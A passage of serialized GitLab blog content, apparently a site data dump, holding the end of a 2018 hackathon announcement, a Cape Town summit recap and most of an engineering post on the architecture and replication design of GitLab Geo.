28](https://gitlab.com/gitlab-com/marketing/community-relations/contributor-program/hackathon/wikis/Q3%272018-hackathon). This virtual event will kick off at 07:00 UTC on the 27th and the focus will be to work on issues that are [\"Accepting merge requests\"](https://gitlab.com/gitlab-org/gitlab/-/issues?label_name%5B%5D=Accepting+merge+requests&sort=weight_asc). As an incentive, anyone who has their MRs merged within a week of Hackathon period will receive a voucher for GitLab swag. We will also have a bigger prize for the person with the most MRs merged.\n\n## What else is going on?\n\nIn addition to hacking, we plan to invite community experts for quick presentations plus Q&A sessions on various topics over the two days. These sessions will also be recorded and available on [GitLab YouTube channel](https://www.youtube.com/gitlab). The Hackathon will be followed by the [Issue Bash](/community/issue-bash/) from September 29-30.\n\n## Where can I find help?\n\nFor communications during the Hackathon, we will use the new [GitLab Community room in Gitter](https://gitter.im/gitlabhq/community). We already have a [gitlabhq room](https://gitter.im/gitlabhq/gitlabhq) that’s been active with support discussions. However, we wanted to create a separate community room where contributors to GitLab can come together to have community-related discussions and to help each other as people have questions while contributing to GitLab. This is open to everyone, so please [join the room](https://gitter.im/gitlabhq/community) if you are not part of it already.\n\n## How do I get started with contributing?\n\nA good place to start is the [Contributing to GitLab page](/community/contribute/), where you can learn how you can\ncontribute to GitLab code, documentation, translation, and UX design.\n\nIf you have any questions, you are always welcome to reach me at rpaik@gitlab.com.\n\nCover image: [\"Gitlab application screengrab\"](https://unsplash.com/photos/ZV_64LdGoao) by [Pankaj Patel](https://unsplash.com/@pankajpatel).\n{: .note}\n",[267,2368,815,277],{"slug":32159,"featured":6,"template":678},"gitlab-hackathon","content:en-us:blog:gitlab-hackathon.yml","Gitlab Hackathon","en-us/blog/gitlab-hackathon.yml","en-us/blog/gitlab-hackathon",{"_path":32165,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":32166,"content":32172,"config":32178,"_id":32180,"_type":16,"title":32181,"_source":17,"_file":32182,"_stem":32183,"_extension":20},"/en-us/blog/gitlab-summit-cape-town-recap",{"title":32167,"description":32168,"ogTitle":32167,"ogDescription":32168,"noIndex":6,"ogImage":32169,"ogUrl":32170,"ogSiteName":1180,"ogType":1181,"canonicalUrls":32170,"schema":32171},"Salani kakuhle (bye!) and thanks for a great summit in Cape Town!","And just like that, it was all over. Check out the highlights and keynote from our recent summit in South Africa.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749670482/Blog/Hero%20Images/summit_recap_pic_post.jpg","https://about.gitlab.com/blog/gitlab-summit-cape-town-recap","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Salani kakuhle (bye!) and thanks for a great summit in Cape Town!\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Daisy Miclat\"},{\"@type\":\"Person\",\"name\":\"Rebecca Dodd\"}],\n        \"datePublished\": \"2018-09-14\",\n      }",{"title":32167,"description":32168,"authors":32173,"heroImage":32169,"date":32175,"body":32176,"category":299,"tags":32177},[32174,19026],"Daisy Miclat","2018-09-14","\n\nFrom August 23-29, 350 GitLab team-members, significant others, community members, and customers descended on Cape Town, South Africa to get to know one another IRL at our sixth [summit](/events/gitlab-contribute/). As an all-remote company, it’s not often we’re all in one place, so we get together every nine months to hang out, bond, take in the local sights, and even get a little work done.\n\n## Highlights\n\n### Keynote\n\nAfter getting settled in and, for many, powering through some brutal jetlag, we gathered for the opening keynote with Chief Culture Officer [Barbie Brewer](/company/team/#BarbieJBrewer), Chief Revenue Officer [Michael McBride](/company/team/#mmcb), Head of Product [Mark Pundsack](/company/team/#MarkPundsack), and CEO and co-founder, [Sid Sijbrandij](/company/team/#sytses), which you can watch below:\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/4BIsON95fl8\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n### Challenge\n\nIt’s become [tradition at our summits for Sid to throw down the gauntlet with a few challenges](/blog/gitlab-summit-greece-recap/#summit-challenges), and this year’s was no different:\n\n![Cape Town summit challenges](https://about.gitlab.com/images/blogimages/summit2018/summit-challenge-slide.png){: .shadow.medium.center}\n\nAnd, as with previous summits, we were promised to be rewarded richly for meeting the challenges:\n\n![Cape Town summit challenges reward](https://about.gitlab.com/images/blogimages/summit2018/summit-challenge-win.png){: .shadow.medium.center}\n\nIt's also become tradition that we hit it out of the park 😎 We're happy to report that we were successful in challenges! Greg Brewer was convinced and is #movingtogitlab, and we've [added the ability to request a free instance check](https://gitlab.com/gitlab-org/gitlab-ee/merge_requests/6995).\n\n### Excursions\n\nThe summits also give us an amazing opportunity to get to know the area that we’re visiting. We were able to choose from some phenomenal excursions throughout Cape Town to learn more about the culture and history of what locals affectionately call the Mother City.\n\n\u003C!-- carousel -->\n\n\u003Cdiv id=\"carousel-example-generic-5\" class=\"carousel slide medium center\" data-ride=\"carousel\" data-interval=\"10000\">\n  \u003C!-- Indicators -->\n  \u003Col class=\"carousel-indicators\">\n    \u003Cli data-target=\"#carousel-example-generic-5\" data-slide-to=\"0\" class=\"active\">\u003C/li>\n    \u003Cli data-target=\"#carousel-example-generic-5\" data-slide-to=\"1\">\u003C/li>\n    \u003Cli data-target=\"#carousel-example-generic-5\" data-slide-to=\"2\">\u003C/li>\n  \u003C/ol>\n\n  \u003C!-- Wrapper for slides -->\n  \u003Cdiv class=\"carousel-inner\" role=\"listbox\">\n    \u003Cdiv class=\"item active\">\n          \u003Cimg src=\"/images/blogimages/summit2018/cape-of-good-hope.jpeg\" alt=\"Cape of Good Hope\">\n    \u003C/div>\n    \u003Cdiv class=\"item\">\n      \u003Cimg src=\"/images/blogimages/summit2018/lanzerac-wine-tour.jpg\" alt=\"Lanzerac wine tour\">\n    \u003C/div>\n    \u003Cdiv class=\"item\">\n      \u003Cimg src=\"/images/blogimages/summit2018/robben-island.jpg\" alt=\"Robben Island\">\n    \u003C/div>\n\n  \u003C/div>\n\n  \u003C!-- Controls -->\n  \u003Ca class=\"left carousel-control\" href=\"#carousel-example-generic-5\" role=\"button\" data-slide=\"prev\">\n    \u003Csvg class=\"glyphicon glyphicon-chevron-left\" width=\"11\" height=\"19\" viewBox=\"0 0 11 19\" xmlns=\"http://www.w3.org/2000/svg\">\u003Cpath d=\"M.44 10.13l8.345 8.345 2.007-2.007-6.814-6.814 6.814-6.815L8.785.832.44 9.177a.652.652 0 0 0-.202.477c0 .183.067.343.202.477z\" fill-rule=\"evenodd\"/>\u003C/svg>\n    \u003Cspan class=\"sr-only\">Previous\u003C/span>\n  \u003C/a>\n  \u003Ca class=\"right carousel-control\" href=\"#carousel-example-generic-5\" role=\"button\" data-slide=\"next\">\n    \u003Csvg class=\"glyphicon glyphicon-chevron-right\" width=\"11\" height=\"19\" viewBox=\"0 0 11 19\" xmlns=\"http://www.w3.org/2000/svg\">\u003Cpath d=\"M10.59 10.13l-8.344 8.345L.24 16.468l6.814-6.814L.24 2.839 2.246.832l8.345 8.345a.652.652 0 0 1 .201.477.652.652 0 0 1-.201.477z\" fill-rule=\"evenodd\"/>\u003C/svg>\n    \u003Cspan class=\"sr-only\">Next\u003C/span>\n  \u003C/a>\n\u003C/div>\n\n\n#### Boulders Beach and the Cape of Good Hope\n\nA beautiful tour along the coast and the opportunity to say hello to our furry friends, our first stop on this excursion was Boulders Beach, where we saw cute African Penguins waddling around, taking swims, and hanging out. They weren’t fazed by us humans. If anything they enjoyed the attention! Up next, we drove to the southernmost tip of Africa, through breathtaking, untouched terrain. Along the way, we spotted local wildlife including antelopes, ostriches, and a couple of feisty baboons.\n\n#### Robben Island\n\nA somewhat choppy 20-minute ferry ride from Victoria Wharf, [Robben Island](http://www.robben-island.org.za/) is home to the prison where political activist and South Africa's first democratic president Nelson Mandela was imprisoned for 18 years. Our tour guide was a former prisoner himself, and he shared his experiences and the history of Robben Island. Although it was a somber setting, we were able to learn more about the history of South Africa and how inequality existed not too long ago.\n\n#### Cape winelands\n\nThe Western Cape is home to some spectacular wine estates. Some GitLab team-members visited [Groot Constantia](https://www.grootconstantia.co.za/), the oldest wine-producing estate in the country, while others ventured further to Paarl, Franschhoek and Stellenbosch for a leisurely day of vineyard hopping and tasting. Those of us checking baggage loaded up on the good stuff to take home.\n\n#### City and cultural tour\n\nA tour of the city center included visits to the [District Six Museum](http://www.districtsix.co.za/), [Castle of Good Hope](https://castleofgoodhope.co.za/), and the [Slave Lodge](https://www.iziko.org.za/museums/slave-lodge), stopping off at the V&A Waterfront for lunch. Some persuasive GitLab team-members got the tour guide to agree to a diversion to quirky coffee shop and Capetonian institution, [Truth Café](https://truth.coffee/pages/truth-cafe), to soak up some of the city's coffee culture.\n\n#### Tour of Langa\n\nSome GitLab team-members also visited Langa, the oldest township in Cape Town. After being greeted by the locals at the cultural center, they shared their dance, music, and history. Some of us were even able to participate and beat on the drums or do a little dancing! Our tour guide shared the history of the township: its beginnings during Apartheid, how things are today, and where they are striving to rebuild unity within the community. Our tour ended with a lovely dance performance and goodbyes from the locals.\n\n### UGC sessions\n\nOur summit UGC (user-generated content) sessions are an opportunity for anyone attending to raise a subject for discussion or run a workshop. With topics as diverse as \"Kubernetes 101,\" \"Learn to Yo-Yo for fun and profit,\" \"How to be a great public speaker,\" \"Yoga/body balance,\" and \"Cocktail making class,\" there's always something for everyone, and it's up to individuals to decide how formal or off-the-cuff they want their session to be.\n\n\u003C!-- carousel -->\n\n\u003Cdiv id=\"carousel-example-generic-4\" class=\"carousel slide medium center\" data-ride=\"carousel\" data-interval=\"10000\">\n  \u003C!-- Indicators -->\n  \u003Col class=\"carousel-indicators\">\n    \u003Cli data-target=\"#carousel-example-generic-4\" data-slide-to=\"0\" class=\"active\">\u003C/li>\n    \u003Cli data-target=\"#carousel-example-generic-4\" data-slide-to=\"1\">\u003C/li>\n  \u003C/ol>\n\n  \u003C!-- Wrapper for slides -->\n  \u003Cdiv class=\"carousel-inner\" role=\"listbox\">\n    \u003Cdiv class=\"item active\">\n      \u003Cimg src=\"/images/blogimages/summit2018/yoga-ugc.jpg\" alt=\"Yoga and body balance session\">\n    \u003C/div>\n    \u003Cdiv class=\"item\">\n      \u003Cimg src=\"/images/blogimages/summit2018/for-funs-sake-ugc.jpg\" alt=\"Pinpoint pain points in GitLab session\">\n    \u003C/div>\n  \u003C/div>\n\n  \u003C!-- Controls -->\n  \u003Ca class=\"left carousel-control\" href=\"#carousel-example-generic-4\" role=\"button\" data-slide=\"prev\">\n    \u003Csvg class=\"glyphicon glyphicon-chevron-left\" width=\"11\" height=\"19\" viewBox=\"0 0 11 19\" xmlns=\"http://www.w3.org/2000/svg\">\u003Cpath d=\"M.44 10.13l8.345 8.345 2.007-2.007-6.814-6.814 6.814-6.815L8.785.832.44 9.177a.652.652 0 0 0-.202.477c0 .183.067.343.202.477z\" fill-rule=\"evenodd\"/>\u003C/svg>\n    \u003Cspan class=\"sr-only\">Previous\u003C/span>\n  \u003C/a>\n  \u003Ca class=\"right carousel-control\" href=\"#carousel-example-generic-4\" role=\"button\" data-slide=\"next\">\n    \u003Csvg class=\"glyphicon glyphicon-chevron-right\" width=\"11\" height=\"19\" viewBox=\"0 0 11 19\" xmlns=\"http://www.w3.org/2000/svg\">\u003Cpath d=\"M10.59 10.13l-8.344 8.345L.24 16.468l6.814-6.814L.24 2.839 2.246.832l8.345 8.345a.652.652 0 0 1 .201.477.652.652 0 0 1-.201.477z\" fill-rule=\"evenodd\"/>\u003C/svg>\n    \u003Cspan class=\"sr-only\">Next\u003C/span>\n  \u003C/a>\n\u003C/div>\n\nAs we grow, the summit grows with us. Now, our formidable resident summit expert [Kirsten](/company/team/#kirstenabma) is focusing on planning our summits FULL TIME. As we closed out our Cape Town gathering, she announced to wild cheers that our next one will be going down in May 2019, in New Orleans, LA, USA! Bring on the beignets!\n\nSee you next time 🇿🇦\n",[754,277,3798,676],{"slug":32179,"featured":6,"template":678},"gitlab-summit-cape-town-recap","content:en-us:blog:gitlab-summit-cape-town-recap.yml","Gitlab Summit Cape Town Recap","en-us/blog/gitlab-summit-cape-town-recap.yml","en-us/blog/gitlab-summit-cape-town-recap",{"_path":32185,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":32186,"content":32192,"config":32197,"_id":32199,"_type":16,"title":32200,"_source":17,"_file":32201,"_stem":32202,"_extension":20},"/en-us/blog/how-we-built-gitlab-geo",{"title":32187,"description":32188,"ogTitle":32187,"ogDescription":32188,"noIndex":6,"ogImage":32189,"ogUrl":32190,"ogSiteName":1180,"ogType":1181,"canonicalUrls":32190,"schema":32191},"How we built GitLab Geo","Take a deep dive into the many architectural decisions we made while building GitLab Geo.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749678985/Blog/Hero%20Images/how-we-built-geo-cover.jpg","https://about.gitlab.com/blog/how-we-built-gitlab-geo","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How we built GitLab Geo\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Gabriel Mazetto\"}],\n        \"datePublished\": \"2018-09-14\",\n      }",{"title":32187,"description":32188,"authors":32193,"heroImage":32189,"date":32175,"body":32195,"category":734,"tags":32196},[32194],"Gabriel Mazetto","\n[Geo](https://docs.gitlab.com/ee/administration/geo/index.html), our solution for read-only mirrors of your GitLab instance, started with our co-founder [Dmitriy Zaporozhets](/company/team/#dzaporozhets)’ crazy idea of making not only the repositories, but the entire GitLab instance accessible from multiple geographical locations.\n\nAt that time (Q4 of 2015) there were only a few competitors trying to provide an *automatic mirroring* solution for repositories and/or issue trackers, and they were mostly built around an additional independent instance and a bunch of webhooks to replicate events. Also, in those cases, no other data was shared outside this asynchronous replication channel, and you had to set up the webhook per project and take care of the users yourself. Long story short: this was not practical for any instance with more than a couple of projects.\n\nWe also had a previous experience early that year [using DRBD to migrate 9 TB of data](/blog/moving-all-your-data/) from our dedicated co-location hosting to the AWS cloud,\nwhich didn't provide the scale, performance, or the UX we had in mind for the future.\n\nHere's the history of how we built Geo:\n\n## Phase 1: MVP\n\nGeo's first mission was to provide people who were located in satellite offices, or in distant locations, with fast access to the tools they need to get work done. The plan was not only to make it faster for Git clones to occur in remote offices but also to provide a fully functional read-only version of GitLab: all project issues, Git repositories, Wikis, etc. automatically synchronized from the primary with as little delay as possible.\n\nTo get there we made a few architectural decisions:\n\n#### 1. Use native database replication\n\nThis would allow us to replicate any user-visible information, user content, user and permissions, projects, any project relation to groups/namespaces, etc. Basically, any data ever written to the database in the primary node made readily available to the others, without any extra communication overhead in the webhooks.\n\nIt is also the most [Boring Solution](https://handbook.gitlab.com/handbook/values/#efficiency), as it uses proven technologies developed for databases in the past two decades. To simplify the endeavor we decided to support only PostgreSQL.\n\n#### 2. Use API calls to notify any secondary node of changes that should happen on disk\n\nThis is the second synchronization mechanism. If a new project is created or a repository updated, this notification lets any other node know they have this pending action, and should replicate the new data on disk.\n\n#### 3. Use Git itself to replicate the repositories\n\nWe investigated many alternatives to replicate our repositories, from using basic UNIX tools (like `rsync` or equivalent) to specific distributed file-systems features. We were aiming for a simple solution, as ideally we had to support the lowest common denominator, which is a Linux machine running the default filesystem (ext3 or 4). That limitation ruled out any distributed file-system based implementation.\n\nWe considered `rsync` and its variants as well, which could potentially work for our use case, but that would add significant CPU for each synchronization operation, and we expect it to increase as the repositories get bigger and bigger.\n\nBy using `rsync` we would need to grant more on-disk permissions than we were comfortable doing, and restricting its reach could be an engineering challenge in itself.\n\nThe same can be said for `scp` and its variants. In the end, we decided to use Git itself and benefit from its internal protocol. This was a no-brainer and very easy decision to make. We understood the protocol enough and we already had the required safeguards in place. All we needed was a slightly different authentication mechanism for the node-to-node synchronization.\n\n#### 4. Always push code to the primary, pull code from anywhere\n\nWhen we started Geo, there was no bundled Git support for having a multi-repository \"transactional\" replication, or information on how to implement one.\n\nWe figured out quickly that to implement something on that line it would require either a *global lock* or to implement a variant of [RAFT](https://raft.github.io/)/[PAXOS](https://en.wikipedia.org/wiki/Paxos_(computer_science)) on top of Git internal protocol.\n\nBoth solutions have their downsides and tradeoffs, and adding to that the time and effort to build it correctly, led us to opt for the simplest implementation: always push to the primary, notify secondaries that repository data changed, and have the secondaries fetch the changes. This is also in line with our motto of [Boring Solutions](https://handbook.gitlab.com/handbook/values/#efficiency).\n\nThe initial repository synchronization is no different than doing a `git clone \u003Cremote> --mirror`. The same idea goes for the repository updates, they behave very similarly to a `git fetch \u003Cremote> --prune`. The difference is that we need to replicate additional, internal metadata as well, that is not normally exposed to a regular user.\n\n![GitLab Geo - MVP Synchronization Architecture Diagram](https://about.gitlab.com/images/blogimages/how-we-built-geo/geo-architecture-mvp.png){: .medium.center}\n\n#### 5. Don’t replicate Redis data between nodes\n\nWe initially thought we could replicate Redis as well as the main database in order to share cached data, session information, etc. This would allow us to implement a Single Sign-On solution very easily, and by reusing the cache we would speed up the initial page load.\n\nAt that time Redis only supported **Leader** to **Follower** replication mode and even though it is usually super fast when used in a local network, the fact remains that replicating data across disparate geographical locations can add significant latency.\n\nThis additional latency would impact on the initial objective of simplifying the Single Sign-On implementation. If you simply log in on the primary node and get redirected to the secondary, chances are that the session information would still not be available on the secondary node due to the replication latency.\n\nThat would eventually fix itself by redirecting back and forth, but if the latency is significant enough, your browser will terminate the connection based on the redirect loop prevention feature. Another downside of this approach is that it creates a hard dependency on the primary node being online, or otherwise the secondary node would be inaccessible and/or completely broken.\n\nIn addition to all these issues, we needed an additional Redis instance that supports writing data to it, in order to persist Jobs to our Jobs system on the secondary node.\n\nSo it made sense, in the end, to give up on the idea of replicating Redis, and we started looking for a solution to the authentication problem.\n\n#### 6. Authenticate on the primary node only\n\nBecause we can’t write on the main database of secondary nodes, any auditing logs, brute force protection mechanism, password recovery tokens, etc. can’t have their data and state persisted inside secondary nodes. The only viable solution then is to authenticate on the primary and redirect the user to the secondary.\n\nThis decision also helped with the integration of any company-specific authentication systems. If a company uses internal authentication based on LDAP, CAS or SAML for instance, then they wouldn't have to replicate that system to the other location or configure firewall rule exceptions to accept traffic over the internet.\n\n#### 7. Implement Single Sign-On and Single Sign-Off using OAuth\n\nWith the previous Redis limitations in mind, we looked into alternatives to implement the authentication. We had to choose between either CAS or an OAuth-based one. As we already had OAuth Provider support inside GitLab, we decided to go with that.\n\nBasically, for any Geo node configured in the database we also have a corresponding OAuth application inside GitLab, and whenever a new user tries to log into a Geo node, they get redirected to the primary node and need to \"allow\" the \"Geo application\" to have access to their account credentials at the first login.\n\nThe shortcoming here is that if you are not logged in already and the primary goes down, you can't log in again until the primary node connectivity issue is fixed.\n\n#### 8. Build a read-only layer on the application side to prevent accidents\n\nWe needed this safeguard in place in case any required subsystem was misconfigured. With the read-only layer, we can prevent the instance from diverging from the primary in a non-recoverable way. It's also this layer that prevents anyone from pushing a repository change to the secondary node directly.\n\n#### 9. Don’t replicate any user attachments yet, just redirect to the primary\n\nInstead of trying to replicate user attachments at this stage, we decided to just rewrite the URLs pointing the resource to the primary node instead. This allowed us to iterate faster and still provide a decent experience to the end users.\n\nThey would still enjoy faster access to the repository data and have the web UI rendering the content from a closer location, with the exception of the issue/merge request attachments, avatars etc, which were still being fetched from the primary. But as they are also highly cachable the impact is minimal.\n\nThis was the initial foundation that allowed us to validate Geo as a viable solution. Later on, we took care of replicating the missing data as well.\n\n### Bonus trivia\n\nThe term **Geo** came only after a while, it was previously named as **GitLab RE** (*Read-Only Edition*), followed by **GitLab RO** (*Read Only*) before getting its final name: **GitLab Geo**.\n\n## Phase 2: First-generation synchronization mechanism\n\nWith the MVP implementation done, we needed to pave the way for a stable release. The first part we decided to improve was the notification mechanism for pending changes. During the MVP, we built a custom API endpoint and a buffered queue. That queue was also optimized to store only unique, idempotent events. If a project received three push events in the last few seconds, we only needed to store and process one event notification.\n\nWe decided that instead of building our own custom notification \"protocol\" and implementing some early optimizations, we should leverage existing GitLab internal capabilities: our own webhooks system.\n\n![GitLab Geo - First Generation Synchronization Architecture Diagram](https://about.gitlab.com/images/blogimages/how-we-built-geo/geo-architecture-first-gen.png){: .medium.center}\n\nBy taking that route, we would be forced to \"[drink our own champagne](https://en.wikipedia.org/wiki/Eating_your_own_dog_food#Alternative_terms)\" and as a result, improve our existing functionality. That decision actually resulted in improvements to our system-wide webhooks in a few ways. We added new system-wide webhook events, expanded the granularity of the information available, and fixed some performance issues.\n\nWe've also improved the security of our webhooks implementation by adding ways of verifying that the notification came from a trusted source. Previously the only way to do that relied on whitelisting the originating IP address as a way to establish trust.\n\nThis security limitation was not present in the MVP version, as we reused the admin personal token as the authorization mechanism for the API, which is also not ideal, but better than previous webhook implementation.\n\nI consider this to be the first generation of the synchronization mechanism that was used in the wild. It had a few characteristics: it reacted almost like real-time for small updates, webhook was fast enough and parallelizable to be used on the scale we wanted to support.\n\nAs the very first version of Geo was only concerned with getting repositories available and in-sync, from one location to the other, that's where we focused all of our efforts. At that time, setting up a new Geo node required an almost identical clone of the primary to be available in advance. That included not only replicating the database but also *rsyncing* the repositories from one node to the other. For improved consistency, we required initially a *stop the world* phase in order to not lose changes made during the time between when the backup started and when the secondary node got completely set up.\n\nWhile this was still closer to a barebones solution, it already provided value for remote teams working together in a shared repository or simply in any project that needed to synchronize code between different locations. We had a few customers trying it out and evaluating the potential, but it was still not ready for production use as we were still missing a lot of functionality.\n\nThe *stop the world* phase previously mentioned got phased out later with the help of improved setup documentation. Much later, a good chunk of the initial cloning step got simplified by leveraging some improvements in the next-generation synchronization and by introducing a backfilling mechanism.\n\n### First-generation synchronization pitfalls\n\nWhile our first-generation solution worked fine for the highly active repositories, the use of webhooks as a notification mechanism had some really obvious drawbacks.\n\nIf, for any reason, the notification failed to be delivered, it had to be rescheduled and retried. Also because we were using our internal Jobs system to dispatch the webhooks, having a node go dark for a few hours meant our Jobs system would be busy retrying operations over an unreachable destination for at least that same amount of time.\n\nDepending on the volume of data and how long it has been accumulating changes, that could even fill up the Redis instance disk storage. If that ever happened we would have to resync the whole instance again and start from scratch.\n\nWe've improved the retrying mechanism with custom Geo logic to alleviate the problem, but it was clear to us that this was not going to be a viable solution for a Generally Available (*stable*) release.\n\nAlso because of backoff algorithm in the retrying logic, in conjunction with the asynchronicity aspect of the system, it could lead to important changes taking a lot of time to replicate, especially in less active projects. The busiest ones were less affected, as any update to the repository would get it to the current state rather than to the state when the update notification was issued. And because the project is receiving many updates during the day, it's expected to generate also many notification events.\n\nAny implementation misstep between sending the webhook or receiving and processing it on the other side could mean we would lose that information forever. This was again not a major issue with highly active projects, as it would eventually receive a new, valid update notification which would sync it to the current state, but the outliers could miss it until someone notices or another update arrives much later.\n\nWe also wanted to make Geo a viable Disaster Recovery solution in the long term, so missing updates without a way to recover from it was not an option.\n\n## Phase 3: Second-generation synchronization mechanism\n\nWe started looking for alternative ways of notifying the secondary nodes and also considered switching to other standalone queue systems instead. We were also worried about the lack of control over the order in which the operations would happen in a parallel and asynchronous replication system and on the effect it had on the data on disk.\n\nA few examples of situations that can happen because of the parallelism and the async nature of it:\n\n1. A project removal event can be processed before a project update for the same repository\n1. Renaming, creating a project with the new name and sending new content to it, if processed in an incorrect order, can lead to temporary data loss\n\nThere was also the case when the notification arrived before the database had replicated the required data. As an example, when the node receives the notification for new project creation, but the database doesn't have it yet.\n\nThat required the secondary node to keep a \"mailbox\" until the received events are ready to be processed. As they were basically Jobs, that meant keep retrying until the job succeeded.\n\nConsidering all the complexity we had brought to the application layer, we investigated a few standalone queue systems to which we could offload the burden, but decided ultimately to build an event queue mechanism in PostgreSQL instead, as it had three important advantages:\n\n#### 1. No extra dependencies\nWe were already replicating the database, so there is no need to install, configure and maintain another process, worry about backing up yet another component, integrate it in our Omnibus package, and provide support for our users.\n\n#### 2. No more delayed processing\nIf the event arrives on the other side, the data associated with it will already be there as well. We can also guarantee consistency with transactions and repeat less information than with the webhooks implementation.\n\n#### 3. Easy to retry/restore from backup or in a disaster situation\nWith a standalone queue system, to have a consistent backup solution you either need some sort of \u003Cabbr title=\"Write-Ahead Logging\">WAL\u003C/abbr> files that could help rebuild a consistent state between the systems or do backups in a \"stop the world\" way, otherwise, you may lose data.\n\n### Our implementation\n\nWe took inspiration from how other log-based replication systems work (like the database) and implemented it with a central table as the main source of truth and a few others to hold bookkeeping for specific event types. Any relevant information we used to ship with the webhook notification is now part of this implementation, with extras to support the missing replicable events.\n\nOn the secondary node, these new tables are read by a specific daemon (we call it the Geo Log Cursor), and as the name suggests, it holds a persistent pointer of the last processed event. This allows us to also report the state of replication and monitor if our replication is broken. We also made it highly available, so you can boot up one as **Active** and keep a few extras as **Standby**. If the Active daemon stops responding for a specified amount of time a new election starts and one of the Standbys takes place as the new Active.\n\nThe second part of the new system requires a persistent layer on the secondary node to keep any synchronization state and metadata. This was done by using another PostgreSQL instance.\n\nWe couldn’t reuse the same main instance, as we were replicating with *Streaming replication* mode. With *Streaming replication*, the whole instance is replicated, and you can’t perform any change in it. The alternative to being able to replicate and write in the same instance is to use *Logical replication* mode, but at that time, there was no official *Logical Replication* support available in the PostgreSQL versions we supported (PgLogical was also not a viable alternative back then).\n\nWith the new persistence layer (we call it the *Geo Tracking Database*), we had the foundations built to be able to actively compare the \"desired vs actual\" state, and find missing data on any secondary instance. We built a more robust backfilling mechanism based on that as well.\n\nQuerying between the two database instances (the replicated Secondary, and the Tracking Database), were made much faster and scalable by enabling Postgres FDW ([Foreign Data Wrapper](https://www.postgresql.org/docs/9.6/static/postgres-fdw.html)). That allowed us to query data using a few **LEFT JOIN** operations among the two instances, instead of pooling with multiple queries from the application layer against the two databases in isolation.\n\n![GitLab Geo - Second Generation Synchronization Architecture Diagram](https://about.gitlab.com/images/blogimages/how-we-built-geo/geo-architecture-second-gen.png){: .medium.center}\n\n### Other improvements\n\nAnother important shortcoming fixed was how we replicated the SSH Keys. This was technical debt we needed to pay since the first implementation. Historically, GitLab built the SSH authorization mechanism as with many other Git implementations, by writing each user-provided SSH Key to the `AuthorizedKeys` file on the server and pointing each one to our [gitlab-shell](https://gitlab.com/gitlab-org/gitlab-shell) application.\n\nThis implementation allowed us to authenticate the authorized users, and because we control how the Shell application is invoked, we can pass a specific key ID to it, that can be used later to identify the user on our database and authorize/deny operations to specific repositories.\n\nThe problem with this approach, in general, is that the bigger the user base is, the slower the initial request will be, as OpenSSH will have to perform a scan to the whole file (**O(N)** complexity). With Geo, that's not just about speed but any delay in updating this file either to add a new key or to revoke an existing one is very undesirable.\n\nWhen we decided to fix that we did for both Geo and GitLab Core by using an interesting feature present in newer versions of OpenSSH (6.9 and above), that allows overriding the `AuthorizedKeys` step, switching from reading the keys from a file to invoke a specified CLI instead (*O(1)* complexity). You can read more about it [in the documentation here](https://docs.gitlab.com/ee/administration/operations/fast_ssh_key_lookup.html#doc-nav).\n\nWe fixed another shortcoming around the repository synchronization, switching from Git over SSH protocol, to Git over HTTPS. The initial motivation was to simplify the setup steps, but that decision also allowed us to shape the synchronization differently when it was originated from a Geo node, vs a regular request. Internally we store additional metadata in the repository and also commits that may no longer exist in your regular branches, but were part of a previous merge request, or had user comments associated with them.\n\nBy also switching to full HTTP(S), it made it simpler to run our development instances locally with [GDK](https://gitlab.com/gitlab-org/gitlab-development-kit), which helped to improve our own internal development process as well.\n\n## Phase 4: Third-generation synchronization and the path to a Disaster Recovery solution\n\nWhile still working in Phase 3, we discovered another major limitation around how we stored files on disk. GitLab, for historical reasons, stored repositories and file attachments in a similar disk structure as the base URL routes. For group and project `gitlab-org/gitlab-ce` there would be a path on disk that would include `gitlab-org/gitlab-ce` as part of it. The same is true for file attachments.\n\nKeeping both the database and disk in sync, even not considering Geo replication, means that at any time a project is renamed, several things have to be renamed on disk as well.\n\nThis is not only slow and error prone: what should we do if something fails to rename in the middle of the \"transaction?\" This is also problematic when replication comes into place as we are susceptible again to processing it in the correct order or risk a temporarily inconsistent state.\n\nWe tried to find a solution to problems around the order of execution of the events and we came up with three ideas:\n\n1. **Find or build a queue system that is guaranteed to process things in the same order they were scheduled**\n2. **Detect and recover from any replication failure or data corruption**\n3. **Make every replication operation idempotent, removing the queue-ordering requirement completely**\n\nThe first one was easily ruled out, as even if we switched to a queue system with that type of guarantee, it would be either slow due to the lack of parallelism in order to guarantee the order requirement, or will be extremely complex and hard to use as it would require extra care to have the same guarantees while also working in parallel.\n\nWe found no system that satisfied our needs, and even if we considered a standalone queue solution, we would lose the Postgres advantage from the previous generation, of having both the main database and the queue system always in sync.\n\nRuling out the first one, we considered the second idea of detecting and recovering from failures and data corruption as we concluded we needed it for *Disaster Recovery* anyway. Any robust *Disaster Recovery* solution needs to guarantee that the data it is holding is the exact one it's supposed to have. If, for any reason, that data gets corrupt or someone removes it from disk, it needs a way of detecting it and restores it to the desired state.\n\nTo achieve that, we built a robust verification mechanism that generates a checksum of the state of the repository and is stored in a separate table in the primary node. That table gets replicated to secondary nodes, where another checksum is also calculated (and stored in the Tracking Database). If both checksums match, we know the data is consistent. The checksum is recalculated automatically when an update event is processed, but can also be triggered manually.\n\n![Screen Capture - Repository Verification Status](https://about.gitlab.com/images/blogimages/how-we-built-geo/verification-status-primary.png){: .medium.center}\n\nWe used that mechanism to validate all repositories in `gitlab.com` when successfully [migrating from Azure to GCP](/blog/gcp-move-update/), last month.\n\nThe verification mechanism is not enough and while it gives us the guarantees we need, we can do better, which is why we also decided to implement the third idea as well, and make every replication operation idempotent in order to remove any situation where processing the incorrect order of events would put data in a temporarily inconsistent state.\n\nWe are calling that solution the [Hashed Storage](https://docs.gitlab.com/ee/administration/repository_storage_types.html). This is a complete rewrite of how GitLab stores files on disk. Instead of reusing the same paths as present in the URLs, we use the internal IDs to create a hash instead and derive the disk path from that hash. With the Hashed Storage, renaming a project or moving it to a new group requires only the database operations to be persisted, as the location on disk never 